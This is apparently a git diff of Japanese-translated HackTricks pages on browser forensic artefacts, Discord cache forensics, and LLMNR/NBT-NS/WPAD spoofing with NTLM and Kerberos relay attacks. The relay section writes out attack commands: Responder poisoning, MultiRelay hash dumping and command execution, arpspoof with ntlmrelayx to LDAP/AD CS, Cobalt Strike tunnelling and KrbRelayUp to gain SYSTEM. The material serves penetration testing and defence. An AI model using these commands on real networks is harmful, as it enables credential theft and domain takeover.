クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) で調査でき、メタデータには名前、URL、アクセス回数、各種時間情報が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリ上に存在します。
### Download Details
ダウンロードのメタデータは[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)を介してアクセス可能で、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されています。物理ファイルは`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`に見つかります。
ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) でアクセス可能で、特定のコンテナには URL、ファイルタイプ、ダウンロード先などのデータが含まれます。実際のファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。
### Browsing History
ブラウジング履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)を使用でき、抽出された履歴ファイルの場所とInternet Explorerの設定が必要です。ここでのメタデータには、修正およびアクセス時間、アクセス回数が含まれます。履歴ファイルは`%userprofile%\Appdata\Local\Microsoft\Windows\History`にあります。
閲覧履歴を確認するには [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) を使い、抽出した履歴ファイルの場所と Internet Explorer の設定を指定します。ここでのメタデータには修正時刻やアクセス時刻、アクセス回数が含まれます。履歴ファイルは `%userprofile%\Appdata\Local\Microsoft\Windows\History` にあります。
### Typed URLs
入力されたURLとその使用時間は、レジストリの`NTUSER.DAT`内の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`に保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。
Typed URLs とその使用時刻はレジストリ内の `NTUSER.DAT` の `Software\Microsoft\InternetExplorer\TypedURLs` および `Software\Microsoft\InternetExplorer\TypedURLsTime` に保存され、ユーザーが入力した最後の50件の URL とその最終入力時刻を追跡します。
## Microsoft Edge
Microsoft Edgeは、ユーザーデータを`%userprofile%\Appdata\Local\Packages`に保存します。さまざまなデータタイプのパスは次のとおりです。
Microsoft Edge はユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。各種データのパスは以下の通りです:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -133,30 +139,31 @@ Microsoft Edgeは、ユーザーデータを`%userprofile%\Appdata\Local\Package
## Safari
Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです。
Safari のデータは `/Users/$User/Library/Safari` に保存されます。主なファイルは次の通りです:
- **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。
- **Downloads.plist**: ダウンロードされたファイルに関する情報。
- **Bookmarks.plist**: ブックマークされたURLを保存します。
- **TopSites.plist**: 最も頻繁に訪問されたサイト。
- **Extensions.plist**: Safariブラウザ拡張機能のリスト。`plutil`または`pluginkit`を使用して取得します。
- **UserNotificationPermissions.plist**: プッシュ通知を許可されたドメイン。`plutil`を使用して解析します。
- **LastSession.plist**: 最後のセッションのタブ。`plutil`を使用して解析します。
- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`を使用して確認します。1の応答は機能がアクティブであることを示します。
- **History.db**: `history_visits` と `history_items` テーブルに URL と訪問タイムスタンプが含まれます。`sqlite3` を使ってクエリを実行してください。
- **Downloads.plist**: ダウンロードしたファイルの情報。
- **Bookmarks.plist**: ブックマークされた URL を保存。
- **TopSites.plist**: よく訪問するサイト。
- **Extensions.plist**: Safari の拡張一覧。`plutil` や `pluginkit` で取得可能。
- **UserNotificationPermissions.plist**: プッシュ通知を許可したドメイン。`plutil` で解析。
- **LastSession.plist**: 最後のセッションのタブ。`plutil` で解析。
- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使って確認します。返り値が 1 なら機能は有効です。
## Opera
Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと同じです。
Opera のデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあり、履歴やダウンロードは Chrome と同じフォーマットを共有します。
- **Browser’s built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。
- **Browser’s built-in anti-phishing**: Preferences ファイル内の `fraud_protection_enabled` が `true` に設定されているかを `grep` で確認してください。
これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。
これらのパスとコマンドは、各種ウェブブラウザが保存する閲覧データへアクセスし、それらを理解するために重要です。
## References
## 参考
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

89
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md Normal file
View File

@ -0,0 +1,89 @@
# Discord Cache Forensics (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
このページは、Discord Desktop の cache アーティファクトをトリアージして、exfiltrated files、webhook endpoints、activity timelines を復元する方法を要約します。Discord Desktop は Electron/Chromium ベースのアプリで、ディスク上に Chromium Simple Cache を使用します。
## Where to look (Windows/macOS/Linux)
- Windows: %AppData%\discord\Cache\Cache_Data
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
- Linux: ~/.config/discord/Cache/Cache_Data
Cache_Data 内の主なオンディスク構造:
- index: Simple Cache index database
- data_#: Binary cache block files that can contain multiple cached objects
- f_######: Individual cached entries stored as standalone files (often larger bodies)
注記: Discord 上でメッセージ/チャンネル/サーバーを削除しても、このローカル cache は消去されません。キャッシュされた項目は残ることが多く、ファイルのタイムスタンプはユーザ活動と整合するため、タイムラインの再構築に使えます。
## What can be recovered
- cdn.discordapp.com/media.discordapp.net 経由で取得された exfiltrated attachments と thumbnails
- 画像、GIF、動画（例: .jpg, .png, .gif, .webp, .mp4, .webm）
- Webhook URLs (https://discord.com/api/webhooks/…)
- Discord API calls (https://discord.com/api/vX/…)
- beaconing/exfil 活動の相関付けや、インテリジェンス照合のためのメディアのハッシュ取得に有用
## Quick triage (manual)
- 高信号なアーティファクトを検出するために cache を grep:
- Webhook endpoints:
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
- Attachment/CDN URLs:
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
- Discord API calls:
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
- キャッシュエントリを最終更新日時でソートして簡易タイムラインを作成 (mtime はオブジェクトがキャッシュに入った時刻を反映):
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
## Parsing f_* entries (HTTP body + headers)
f_ で始まるファイルは通常、HTTP レスポンスヘッダの後にボディが続きます。ヘッダブロックは通常 \r\n\r\n で終わります。役立つレスポンスヘッダには以下が含まれます:
- Content-Type: メディアタイプの推定に使用
- Content-Location or X-Original-URL: プレビューや相関のための元のリモート URL
- Content-Encoding: gzip/deflate/br (Brotli) の可能性
ヘッダとボディを分割し、Content-Encoding に基づいて必要なら復号することでメディアを抽出できます。Content-Type がない場合はマジックバイトによる判別が有用です。
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
- Repo: https://github.com/jwdfir/discord_cache_parser
- Function: Recursively scans Discord’s cache folder, finds webhook/API/attachment URLs, parses f_* bodies, optionally carves media, and outputs HTML + CSV timeline reports with SHA‑256 hashes.
Example CLI usage:
```bash
# Acquire cache (copy directory for offline parsing), then run:
python3 discord_forensic_suite_cli \
--cache "%AppData%\discord\Cache\Cache_Data" \
--outdir C:\IR\discord-cache \
--output discord_cache_report \
--format both \
--timeline \
--extra \
--carve \
--verbose
```
主なオプション:
- --cache: Path to Cache_Data
- --format html|csv|both
- --timeline: 修正時間 (modified time) による並び順の CSV タイムラインを出力
- --extra: 隣接する Code Cache と GPUCache もスキャン
- --carve: regex ヒット付近の生バイト列からメディアをカーブ（抽出）する（images/video）
- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
## アナリスト向けヒント
- f_* および data_* ファイルの modified time (mtime) をユーザー/攻撃者の活動時間帯と照合してタイムラインを再構築する。
- 回収したメディアのハッシュ (SHA-256) を算出し、known-bad や exfil データセットと比較する。
- 抽出した webhook URLs は生存確認 (liveness) やローテーションのテストが可能。blocklists や retro-hunting プロキシへ追加することを検討する。
- サーバー側で「wiping」しても Cache は残存する。取得が可能なら、Cache ディレクトリ全体と関連する隣接キャッシュ (Code Cache, GPUCache) を収集する。
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
{{#include ../../../banners/hacktricks-training.md}}

276
src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
View File

@ -1,77 +1,77 @@
# LLMNR、NBT-NS、mDNS/DNS、WPADおよびリレー攻撃のスプーフィング
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
## ネットワークプロトコル
## Network Protocols
### ローカルホスト解決プロトコル
### Local Host Resolution Protocols
- **LLMNR、NBT-NS、およびmDNS**:
- Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名解決のためにLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。
- これらのプロトコルは、UDP上での認証されていないブロードキャストの性質のため、傍受およびスプーフィングに対して脆弱です。
- [Responder](https://github.com/lgandx/Responder)は、これらのプロトコルを照会しているホストに対して偽の応答を送信することでサービスを偽装するために使用できます。
- Responderを使用したサービスの偽装に関する詳細情報は[こちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)で確認できます。
- **LLMNR, NBT-NS, and mDNS**:
- Microsoft や他の OS は、DNS が失敗した場合にローカル名解決のために LLMNR と NBT-NS を使用します。同様に、Apple や Linux 系は mDNS を使用します。
- これらのプロトコルは、UDP 上で認証なしにブロードキャストされる性質のため、傍受やなりすましに対して脆弱です。
- [Responder](https://github.com/lgandx/Responder) は、これらのプロトコルを問い合わせるホストに対して偽の応答を送り、サービスになりすますために使用できます。
- Responder を使用したサービスなりすましの詳細は [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) を参照してください。
### ウェブプロキシ自動検出プロトコル (WPAD)
### Web Proxy Auto-Discovery Protocol (WPAD)
- WPADは、ブラウザがプロキシ設定を自動的に発見することを可能にします。
- 発見はDHCP、DNSを介して行われ、DNSが失敗した場合はLLMNRおよびNBT-NSにフォールバックします。
- ResponderはWPAD攻撃を自動化し、クライアントを悪意のあるWPADサーバーに誘導します。
- WPAD はブラウザがプロキシ設定を自動検出することを可能にします。
- 検出は DHCP、DNS によって行われ、DNS が失敗した場合は LLMNR や NBT-NS にフォールバックします。
- Responder は WPAD 攻撃を自動化し、クライアントを悪意ある WPAD サーバーに誘導することができます。
### プロトコルポイズニングのためのResponder
### Responder for Protocol Poisoning
- **Responder**は、LLMNR、NBT-NS、およびmDNSクエリをポイズニングするために使用されるツールで、主にSMBサービスをターゲットにしてクエリタイプに基づいて選択的に応答します。
- Kali Linuxにプリインストールされており、`/etc/responder/Responder.conf`で設定可能です。
- Responderはキャプチャしたハッシュを画面に表示し、`/usr/share/responder/logs`ディレクトリに保存します。
- IPv4およびIPv6の両方をサポートしています。
- Windows版のResponderは[こちら](https://github.com/lgandx/Responder-Windows)で入手できます。
- **Responder** は LLMNR、NBT-NS、mDNS の問い合わせを毒するためのツールで、クエリの種類に応じて選択的に応答し、主に SMB サービスを標的とします。
- Kali Linux にプリインストールされており、/etc/responder/Responder.conf で設定可能です。
- Responder は画面上にキャプチャしたハッシュを表示し、/usr/share/responder/logs ディレクトリに保存します。
- IPv4 と IPv6 の両方をサポートします。
- Windows 版 Responder はこちらにあります: [here](https://github.com/lgandx/Responder-Windows).
#### Responderの実行
#### Running Responder
- デフォルト設定でResponderを実行するには: `responder -I <Interface>`
- より攻撃的なプロービングを行うには（副作用の可能性あり）: `responder -I <Interface> -P -r -v`
- NTLMv1チャレンジ/レスポンスをキャプチャしてクラックを容易にする技術: `responder -I <Interface> --lm --disable-ess`
- WPADの偽装を有効にするには: `responder -I <Interface> --wpad`
- NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定するには: `responder.py -I <interface> -Pv`
- デフォルト設定で Responder を実行するには: `responder -I <Interface>`
- さらに積極的なプロービング（副作用の可能性あり）: `responder -I <Interface> -P -r -v`
- NTLMv1 チャレンジ/レスポンスを取得してクラックしやすくするためのテクニック: `responder -I <Interface> --lm --disable-ess`
- WPAD なりすましを有効化するには: `responder -I <Interface> --wpad`
- NetBIOS リクエストを攻撃者の IP に解決させ、認証プロキシを設定することが可能: `responder.py -I <interface> -Pv`
### Responderを使用したDHCPポイズニング
### DHCP Poisoning with Responder
- DHCP応答をスプーフィングすることで、被害者のルーティング情報を永続的にポイズンし、ARPポイズニングに対するよりステルスな代替手段を提供します。
- これは、ターゲットネットワークの構成に関する正確な知識を必要とします。
- 攻撃を実行するには: `./Responder.py -I eth0 -Pdv`
- この方法はNTLMv1/2ハッシュを効果的にキャプチャできますが、ネットワークの混乱を避けるために慎重な取り扱いが必要です。
- DHCP 応答を偽装することで、被害者のルーティング情報を恒久的に汚染でき、ARP poisoning よりもステルスな代替手段となります。
- ターゲットネットワークの構成を正確に把握していることが必要です。
- 攻撃の実行: `./Responder.py -I eth0 -Pdv`
- この方法は NTLMv1/2 ハッシュを効果的にキャプチャできますが、ネットワーク障害を避けるため慎重な取り扱いが必要です。
### Responderを使用した資格情報のキャプチャ
### Capturing Credentials with Responder
- Responderは、上記のプロトコルを使用してサービスを偽装し、ユーザーが偽装されたサービスに対して認証を試みるときに資格情報（通常はNTLMv2チャレンジ/レスポンス）をキャプチャします。
- NetNTLMv1にダウングレードしたり、ESSを無効にして資格情報のクラックを容易にする試みが行われることがあります。
- Responder は上記プロトコルを用いてサービスになりすまし、ユーザーが偽装サービスに対して認証を試みた際に資格情報（通常は NTLMv2 Challenge/Response）をキャプチャします。
- NetNTLMv1 にダウングレードしたり ESS を無効化してクラックを容易にする試みが行われることがあります。
これらの技術を使用する際は、法的かつ倫理的に行動し、適切な承認を得て、混乱や不正アクセスを避けることが重要です。
これらの手法は、適切な許可を得た上で合法かつ倫理的に実行し、ネットワークの妨害や不正アクセスを避けることが重要です。
## Inveigh
Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム向けのツールです。Responderと同様の機能を提供し、スプーフィングおよび中間者攻撃を実行します。このツールは、PowerShellスクリプトからC#バイナリに進化し、[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)および[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)が主要なバージョンです。詳細なパラメータと指示は[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)で確認できます。
Inveigh は Windows 環境向けに設計された pentesters や red team 向けのツールで、Responder と同様の機能を提供し、spoofing や man-in-the-middle 攻撃を実行します。ツールは PowerShell スクリプトから C# バイナリへと進化しており、主なバージョンとして [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) と [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) があります。詳細なパラメータと手順は [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) を参照してください。
InveighはPowerShellを通じて操作できます:
Inveigh は PowerShell を通じて操作できます:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
C# バイナリとして実行されるか:
または C# binary として実行:
```bash
Inveigh.exe
```
### NTLM Relay Attack
この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功すればシステムシェルを取得します。主な前提条件は以下の通りです：
この攻撃はSMB認証セッションを利用してターゲットマシンにアクセスし、成功するとsystem shellを取得します。主な前提条件は次の通りです：
- 認証するユーザーは、リレーされたホストでローカル管理者アクセスを持っている必要があります。
- SMB署名は無効にする必要があります。
- 認証を行うユーザーは、リレー先ホストに対してLocal Adminアクセスを持っている必要があります。
- SMB signingが無効になっている必要があります。
#### 445ポートの転送とトンネリング
#### 445 Port Forwarding and Tunneling
直接的なネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送し、トンネリングする必要があります。[**PortBender**](https://github.com/praetorian-inc/PortBender)のようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ち、ローカル管理者アクセスがドライバのロードに利用可能な場合に重要です。
直接ネットワーク導入が不可能なシナリオでは、port 445のトラフィックを転送およびトンネリングする必要があります。[**PortBender**](https://github.com/praetorian-inc/PortBender) のようなツールは、port 445のトラフィックを別のポートへリダイレクトするのに役立ちます。これは、driver loadingのためにLocal Adminアクセスが利用可能な場合に不可欠です。
PortBenderのセットアップとCobalt Strikeでの操作：
PortBenderのCobalt Strikeでのセットアップと操作:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
@ -87,17 +87,17 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### NTLMリレー攻撃のための他のツール
### NTLM Relay Attack のその他のツール
- **Metasploit**: プロキシ、ローカルおよびリモートホストの詳細を設定します。
- **smbrelayx**: SMBセッションをリレーし、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。
- **MultiRelay**: 特定のユーザーまたはすべてのユーザーをリレーし、コマンドを実行したりハッシュをダンプするためのResponderスイートのツールです。
- **Metasploit**: プロキシ、ローカルおよびリモートホストの詳細を指定してセットアップする。
- **smbrelayx**: SMBセッションを中継し、コマンドを実行したりバックドアを展開したりするためのPythonスクリプト。
- **MultiRelay**: Responder スイートのツールで、特定のユーザーまたはすべてのユーザーを中継し、コマンドを実行したりハッシュをダンプしたりする。
各ツールは、必要に応じてSOCKSプロキシを介して動作するように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。
必要に応じて各ツールはSOCKS proxy経由で動作するよう設定でき、間接的なネットワークアクセスしかない場合でも攻撃を可能にします。
### MultiRelayの操作
### MultiRelay の操作
MultiRelayは_**/usr/share/responder/tools**_ディレクトリから実行され、特定のIPまたはユーザーをターゲットにします。
MultiRelay は _**/usr/share/responder/tools**_ ディレクトリから実行され、特定のIPやユーザーを標的にします。
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@ -105,77 +105,139 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
これらのツールと技術は、さまざまなネットワーク環境でNTLMリレー攻撃を実施するための包括的なセットを形成します。
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
### NTLMログインの強制
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).
何を確認するか
- GPO/registry の設定（HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate および ...\WindowsUpdate\AU）:
- WUServer (例: http://wsus.domain.local:8530)
- WUStatusServer (報告用 URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled と DetectionFrequency（時間）
- クライアントが HTTP 経由で使用する WSUS SOAP エンドポイント:
- /ClientWebService/client.asmx (承認)
- /ReportingWebService/reportingwebservice.asmx (ステータス)
- デフォルトポート: 8530/tcp HTTP、8531/tcp HTTPS
Reconnaissance
- 未認証
- リスナーをスキャン: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
- L2 MITM を介して HTTP WSUS トラフィックをスニッフィングし、wsusniff.py でアクティブなクライアント／エンドポイントをログに記録（クライアントがあなたの TLS 証明書を信頼するようにできない限り HTTP のみ）。
- 認証済み
- SYSVOL GPO を MANSPIDER + regpol で解析して WSUS キーを抽出（wsuspider.sh ラッパーは WUServer/WUStatusServer/UseWUServer を要約します）。
- 大規模にエンドポイントをクエリ（NetExec）またはローカルで実行:
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay の手順
1) MITM のポジションを取る（同一 L2）— クライアントが WSUS サーバをあなたに解決するようにする（ARP/DNS poisoning、Bettercap、mitm6 など）。arpspoof の例:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) ポート 8530 をリレーリスナーへリダイレクト（任意、便利）:
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) HTTP リスナー付きで ntlmrelayx を起動（HTTP リスナーには Impacket のサポートが必要; 下の PR を参照）:
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
その他の一般的なターゲット:
- SMB へリレー（signing オフの場合）で実行／ダンプ: -t smb://<host>
- LDAPS へリレーしてディレクトリ変更（例: RBCD）: -t ldaps://<DC>
- AD CS Web enrollment（ESC8）へリレーして証明書を発行、その後 Schannel/PKINIT で認証:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
AD CS の追加的な濫用経路やツールについては、AD CS ページを参照:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) クライアントのチェックインをトリガーするか、スケジュールを待つ。クライアント上で:
wuauclt.exe /detectnow
または Windows Update UI（Check for updates）を使用。
5) 認証済みの SOCKS セッション（-socks を使用した場合）や直接リレー結果をポストエクスプロイトに利用（LDAP の変更、SMB 操作、後での認証のための AD CS 証明書発行など）。
HTTPS の制約（8531）
- WSUS を HTTPS でパッシブに傍受することは、クライアントがあなたの証明書を信頼しない限り効果がありません。信頼できる証明書や別の TLS ブレイクがないと、WSUS の HTTPS トラフィックから NTLM ハンドシェイクを収集／リレーすることはできません。
備考
- WSUS は非推奨と発表されましたが、広く展開されており、HTTP (8530) は多くの環境で依然一般的です。
- 有用な補助ツール: wsusniff.py（HTTP WSUS チェックインの観察）、wsuspider.sh（GPO から WUServer/WUStatusServer を列挙）、大規模向け NetExec reg-query。
- Impacket は PR #2034 で ntlmrelayx の HTTP リスナーサポートを復活させました（元は PR #913 で追加）。
### Force NTLM Logins
Windows では、いくつかの特権アカウントを任意のマシンへ認証させることができる場合があります。方法を学ぶには次のページを参照してください:
Windowsでは、**特権アカウントが任意のマシンに認証するよう強制できる場合があります**。方法を学ぶには、以下のページを読んでください：
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberosリレー攻撃
## Kerberos Relay attack
**Kerberosリレー攻撃**は、1つのサービスから**AP-REQチケット**を盗み、**同じコンピュータアカウントキー**を共有する2つ目のサービスに再利用します（両方のSPNが同じ`$`マシンアカウントに存在するため）。これは、SPNの**サービスクラスが異なっていても**（例：`CIFS/` → `LDAP/`）、チケットを復号化するための*キー*がマシンのNTハッシュであり、SPN文字列自体ではなく、SPN文字列が署名の一部ではないため機能します。
A **Kerberos relay attack** steals an **AP-REQ ticket** from one service and re-uses it against a second service that shares the **same computer-account key** (because both SPNs sit on the same `$` machine account). This works even though the SPNs’ **service classes differ** (e.g. `CIFS/` → `LDAP/`) because the *key* that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.
NTLMリレーとは異なり、ホップは*同じホスト*に制限されますが、LDAPに書き込むことを許可するプロトコルをターゲットにすると、**リソースベースの制約付き委任（RBCD）**または**AD CS登録**にチェーンし、1回の操作で**NT AUTHORITY\SYSTEM**を取得できます。
NTLM relay と異なり、ジャンプは同一ホストに限定されますが、LDAP に書き込み可能なプロトコルをターゲットにすると、**Resource-Based Constrained Delegation (RBCD)** や **AD CS enrollment** に連鎖して一発で **NT AUTHORITY\SYSTEM** を奪取することが可能です。
この攻撃に関する詳細情報は以下を確認してください：
この攻撃の詳細については以下を参照してください:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberosの基本**
- 1. **Kerberos basics**
| トークン | 目的 | リレーの関連性 |
| Token | Purpose | Relay relevance |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | KDCに対するユーザーの証明 | 影響なし |
| **サービスチケット / TGS-REQ ↔ REP** | 1つの**SPN**にバウンド; SPN所有者のキーで暗号化 | アカウントを共有するSPNの場合は相互交換可能 |
| **AP-REQ** | クライアントがサービスに`TGS`を送信 | **私たちが盗んで再生するもの** |
| **TGT / AS-REQ ↔ REP** | ユーザーを KDC に証明する | 変更なし |
| **Service ticket / TGS-REQ ↔ REP** | 1 つの **SPN** にバインドされ、SPN 所有者のキーで暗号化される | SPN が同じアカウントに属していれば交換可能 |
| **AP-REQ** | クライアントがサービスに `TGS` を送る | **我々が盗んでリプレイするもの** |
* チケットは**SPNを所有するアカウントのパスワード由来のキー**で暗号化されています。
* AP-REQ内の**Authenticator**には5分のタイムスタンプがあり、そのウィンドウ内での再生はサービスキャッシュが重複を検出するまで有効です。
* Windowsは、チケット内のSPN文字列がヒットしたサービスと一致するかどうかをほとんど確認しないため、`CIFS/HOST`のチケットは通常`LDAP/HOST`で正常に復号化されます。
* チケットは **SPN を所有するアカウントのパスワード派生キー** で暗号化されます。
* AP-REQ 内の **Authenticator** は 5 分のタイムスタンプを持ち、そのウィンドウ内でのリプレイはサービスのキャッシュが重複を検出するまで有効です。
* Windows はチケット内の SPN 文字列が実際に接続したサービスと一致するかどうかをチェックすることが稀であり、通常 `CIFS/HOST` のチケットは `LDAP/HOST` 上でも正常に復号されます。
- 2. **Kerberosをリレーするために必要な条件**
- 2. **Kerberos をリレーするために満たすべき条件**
1. **共有キー：** ソースとターゲットのSPNは同じコンピュータアカウントに属する（Windowsサーバーではデフォルト）。
2. **チャネル保護なし：** SMB/LDAP署名オフ、HTTP/LDAPSのEPAオフ。
3. **認証を傍受または強制できる：** LLMNR/NBNSポイズン、DNSスプーフ、**PetitPotam / DFSCoerce RPC**、偽のAuthIP、悪意のあるDCOMなど。
4. **チケットソースがすでに使用されていない：** 実際のパケットが到達する前にレースに勝つか、完全にブロックする。そうでなければ、サーバーの再生キャッシュがイベント4649を発火させます。
5. 何らかの方法で**通信のMitMを実行できる必要がある**。ドメインのDNSを変更するためにDNSAminsグループの一部であるか、被害者のHOSTファイルを変更できる必要があります。
1. **共有キー:** ソースとターゲットの SPN が同じコンピュータアカウントに属している（Windows サーバではデフォルト）。
2. **チャネル保護なし:** SMB/LDAP の signing がオフ、HTTP/LDAPS の EPA がオフ。
3. **認証を傍受または強制できること:** LLMNR/NBNS poison、DNS spoof、**PetitPotam / DFSCoerce RPC**、fake AuthIP、rogue DCOM など。
4. **チケットのソースが既に使用されていないこと:** 実パケットが到達する前にレースに勝つか、完全にブロックする必要がある。そうでないとサーバのリプレイキャッシュが Event 4649 を記録する。
5. 何らかの方法で通信の MitM を行えること（ドメインの DNS を変更できる DNSAmins グループの一員である、または被害者の HOST ファイルを変更できるなど）。
### Kerberosリレー手順
### Kerberos Relay Steps
- 3.1 **ホストの偵察**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **リレーリスナーを開始する**
- 3.2 **リレイリスナーを起動する**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` は **KrbRelay → LDAP → RBCD → Rubeus → SCM バイパス** を1つのバイナリにまとめています。
`KrbRelayUp` は **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** を1つのバイナリにまとめます。
- 3.3 **Kerberos 認証を強制する**
